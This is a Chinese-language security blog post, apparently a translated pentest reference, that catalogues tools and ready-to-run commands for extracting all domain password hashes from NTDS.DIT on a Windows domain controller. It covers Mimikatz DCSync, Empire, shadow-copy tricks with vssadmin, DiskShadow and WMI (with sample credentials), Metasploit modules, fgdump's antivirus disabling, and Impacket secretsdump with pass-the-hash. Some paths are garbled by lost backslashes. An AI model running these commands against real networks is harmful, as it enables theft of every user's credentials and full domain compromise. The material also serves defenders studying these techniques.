抓取域密码哈希的各种工具集合

一颗小胡椒2021-08-04 08:30:00

在拿到域管理员权限之后,都会提取所有域用户的密码哈希进行离线破解和分析。这些密码哈希存储在域控制器(NTDS.DIT)中的数据库文件中,并包含一些附加信息,如组成员和用户。

NTDS.DIT 文件经常被操作系统使用,因此不能直接复制到另一个位置提取信息。此文件可在以下 Windows 目录下找到:

C:\Windows\NTDS\NTDS.dit:

下面就是关于如何提取域内哈希的各种方式及相关工具。

Mimikatz

Mimikatz 有一个功能(dcsync),该功能使用目录复制服务(DRS)从 NTDS.DIT 文件中检索密码散列。通过这种方式无需登录域控制器进行操作,在任意一台域内成员机上均可操作,使用命令如下:

lsadump::dcsync /domain:pentestlab.local /all /csv

通过使用 /user参数指定用户名,Mimikatz 可以提取指定用户的密码信息:

lsadump::dcsync /domain:pentestlab.local /user:test

或者,直接在域控制器上执行 Mimikatz ,从进程 lsass 中提取:

privilege::debug
lsadump::lsa /inject

提取的密码信息如下:

Empire

PowerShell Empire 有两个模块可以通过 DCSync 获取域内哈希。这两个模块都需要以域管理员的权限执行。该模块依赖于 Invoke-Mimikatz PowerShell 脚本来执行与 DCSync 相关的 Mimikatz 命令。dcsync_hashdump 模块输出的结果与 Metasploit 的 hashdump 命令相似:

usemodule credentials/mimikatz/dcsync_hashdump

DCSync 模块要求指定用户才能提取所有帐户信息:

获得的信息如下:

Nishang

Nishang 是一个 PowerShell 框架,Copy-VSS.ps1 脚本可用于自动提取所需文件:NTDS.DIT、SAM 和 SYSTEM,提取的文件存放于指定的目录下,项目下载地址:

https://github.com/samratashok/nishang

使用命令如下:

Import-Module .\Copy-VSS.ps1 Copy-VSS Copy-VSS -DestinationDir C:\ShadowCopy\

或者在 meterpreter 中使用:

load powershell powershell_import /root/Copy-VSS.ps1 powershell_execute Copy-VSS

也可以直接在 Powershell 会话中执行:

Copy-VSS Copy-VSS -DestinationDir C:\Ninja

PowerSploit

PowerSploit 包含一个 PowerShell 脚本,VolumeShadowCopyTools.ps1 使用 shadow copy 服务,创建新的卷来提取相关文件:

Import-Module .\VolumeShadowCopyTools.ps1 New-VolumeShadowCopy -Volume C:\ Get-VolumeShadowCopy 

或者在 Meterpreter 会话中使用:

powershell_shell New-VolumeShadowCopy -Volume C:\ Get-VOlumeShadowCopy

然后,文件可以通过命令从新卷中复制。

Invoke-DCSync

脚本下载地址:

https://gist.github.com/monoxgas/9d238accd969550136db

使用命令:

Invoke-DCSync

结果将格式化为四个表:域、用户、ID 和 hash。然而,使用参数 -PWDumpFormat 执行可以将结果格式化为: user:id:lm:ntlm:::

Invoke-DCSync -PWDumpFormat

在 Meterpreter 会话中运行脚本,可以实现相同的输出:

使用 -PWDumpFormat 参数:

ntdsutil

ntdsutil 是一个命令行工具,是域控制器生态系统的一部分,其目的是使管理员能够访问和管理 Windows Active Directory 数据库。利用这个可以将相关文件提取出来,进行离线提取:

ntdsutil activate instance ntds ifm create full C:tdsutil quit quit

生成两个新文件夹:Active Directory 和 Registry。NTDS.DIT 文件将保存在 Active Directory 中,SAM 和 SYSTEM 文件将保存到注册表文件夹中

DiskShadow

DiskShadow 是一个微软签名的二进制文件,用于协助管理员进行与卷影复制服务(VSS)相关的操作,将以下内容保存在 diskshadow.txt 内:

set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% z:
exec "cmd.exe" /c copy z:\windowstdstds.dit c:\exfiltds.dit
delete shadows volume %someAlias%
reset

然后执行:

diskshadow.exe /s c:\diskshadow.txt

运行以下命令将列出系统所有可用的卷影副本:

diskshadow LIST SHADOWS ALL

还需保存 system 的注册表项,因为其中保存了 NTDS 文件的解密密钥:

reg.exe save hklm\system c:\exfil\system.bak

WMI

通过 WMI 远程提取 NTDS.DIT 和 SYSTEM 文件,需要用到 vssadmin 来创建快照:

wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c vssadmin create shadow /for=C: 2>&1"

然后,远程执行复制命令,将相关文件移动到指定目录:

wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temptds.dit 2>&1"

这同样适用于 SYSTEM 文件:

wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM\ C:\temp\SYSTEM.hive 2>&1"

然后将保存到文件移动到离线提取哈希的机器上:

PS C:\Users\test.PENTESTLAB> copy \10.0.0.1\c$\temptds.dit C:\temp PS C:\Users\test.PENTESTLAB> copy \10.0.0.1\c$\temp\SYSTEM.hive C:\temp

如果已经生成了黄金票据,则可以使用 Kerberos 与域控制器进行身份验证。

vssadmin

vssadmin 是一个 Windows 命令行实用程序,管理员能够使用它备份计算机、卷和文件。Volume Shadow Copy作为服务运行,要求文件系统为 NTFS 格式。在 cmd 上执行下面的命令,制作 C 盘的卷影:

vssadmin create shadow /for=C:

C 盘的所有文件都已经复制到 HarddiskVolumeShadowCopy1 上,操作系统不直接使用,所以可以访问和复制其上的任何文件。将 NTDS.DIT 和 SYSTEM 文件复制到本地名为 ShadowCopy 的新文件夹:

copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy

这些文件需要从域控制器复制到另一个主机进行进一步处理:

vssown

与 vssadmin 类似,vssown 是一个 vbs 脚本,可以创建和删除卷影副本,使用方式如下:

cscript vssown.vbs /start cscript vssown.vbs /create c cscript vssown.vbs /list cscript vssown.vbs /delete 

可以使用命令复制副本中的所需文件:

copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windowstdstds.dit C:\vssown copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windows\system32\config\SYSTEM C:\vssown copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windows\system32\config\SAM C:\vssown

Metasploit

Metasploit 框架中可以使用下面的模块,提取 ntds 中的相关信息:

auxiliary/admin/smb/psexec_ntdsgrab

还可以使用下面的模块,直接在域控弹回的会话中执行:

windows/gather/credentials/domain_hashdump

或者在 meterpreter 中域控的会话直接执行 hashdump 命令,这种方式比较危险,因为容易使域控崩溃,谨慎使用:

fgdump

fgdump 是一个老的二进制文件,可以提取 LM 和 NTLM 密码散列,下载地址:

http://www.foofus.net/fizzgig/fgdump/fgdump-2.1.0-exeonly.zip

如果已经获得本地管理员凭据,则可以在本地或远程执行。在执行期间,fgdump 将尝试禁用可能在系统上运行的防病毒软件,如果成功禁用则将结果保存在文件中,如果失败,则不进行提取,防止被检测,使用方法直接在域控上运行即可:

fgdump.exe

可以通过 .pwdump 后缀的文件来查看结果:

type 127.0.0.1.pwdump

NTDS 离线提取

Impacket 是 python 脚本编写工具框架,使用其中的 impacket-secretsdump 模块提取 NTDS 中的密码哈希,下载地址:

https://github.com/CoreSecurity/impacket

提取之前需要 SYSTEM 和 NTDS 的数据库文件:

impacket-secretsdump -system /root/SYSTEM -ntds /root/ntds.dit LOCAL

此外,还可以远程提取 NTDS 的哈希,需要使用域管账号和哈希:

impacket-secretsdump -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc$@10.0.0.1

NTDSDumpEx 二进制文件也可以从 ntds.dit 中提取哈希,下载地址:

https://github.com/zcgonvh/NTDSDumpEx

使用方式:

NTDSDumpEx.exe -d ntds.dit -s SYSTEM.hive

还有一个 shell 脚本 adXtract,下载地址:

https://github.com/LordNem/adXtract

使用方式:

./adXtract.sh /root/ntds.dit /root/SYSTEM pentestlab

脚本会将不同信息存储在不同到文件中,比如用户信息:

密码散列到格式如下:

总结

本文整理了各种工具,以各种方式提取 NTDS 中的所有域哈希,最好的方式就是在 DCSync 和离线提取,尽量不要在域控服务器上执行过多操作,以免对目标造成可用性上的威胁。


--- EOF ---


推荐↓↓↓

哈希system
本作品采用《CC 协议》,转载必须注明作者和本文链接
哈希传递对于大多数企业或组织来说仍然是一个非常棘手的问题,这种攻击手法经常被渗透测试人员和攻击者们使用。当谈及检测哈希传递攻击时,我首先开始研究的是先看看是否已经有其他人公布了一些通过网络来进行检测的可靠方法。我拜读了一些优秀的文章,但我没有发现可靠的方法,或者是这些方法产生了大量的误报。 我不会在本文深入剖析哈希传递的历史和工作原理,但如果你有兴趣,你可以阅读SANS发布的这篇优秀的文章——哈希
mimikatz的这个功能从本质上是解析Windows的数据库文件,从而获取其中存储的用户哈希
漏洞概述 AWS VPN应用程序存以 SYSTEM 身份写入任意文件,这可能导致提权和信息泄露漏洞。该漏洞可能导致用户的 Net-NTLMv2 哈希被VPN 配置文件中的 UNC 路径泄露。这些漏洞已确认影响版本 2.0.0,并已在版本 3.0.0 中修复。 要修复漏洞,请升级到可在此处下载的3.0.0版本 [1]
抓取域密码哈希的各种工具集合。
哈希传递利用了NTLM认证的缺陷,使用用户的密码哈希值来进行NTLM认证。推荐使用以下命令,尽量不要从内存中提取,因为内存中存放的可能是管理员修改密码前的哈希值,导致哈希传递不成功。
Pass The Hash 即哈希传递攻击,简称 PTH
域渗透就是基于windows域环境的渗透,而域渗透涉及到的技术,如哈希传递(PTH)票据传递(PTT)委派攻击等,都是基于域环境下的认证机制来实现的,这也是为什么要了解Windows认证机制的原因之一Windows的认证包括三个部分,用户直接操作计算机登陆账户(本地认证),远程连接到工作组中的某个设备(网络认证),登陆到域环境中的某个设备(域认证)
WINDOWS认证机制 阅读本文前需要补充的知识:域的基本概念,域环境与工作组环境的区别 何谓域渗透,域渗透就是基于windows域环境的渗透,而域渗透设计到的技术,如哈希传递(PTH)票据传递(PTT)委派攻击等,都是基于域环境下的认证机制来实现的,这也是为什么要了解Windows认证机制的原因之一 Windows的认证包括三个部分,用户直接操作计算机登陆账户(本地认证),远程连接到工作组
一颗小胡椒
暂无描述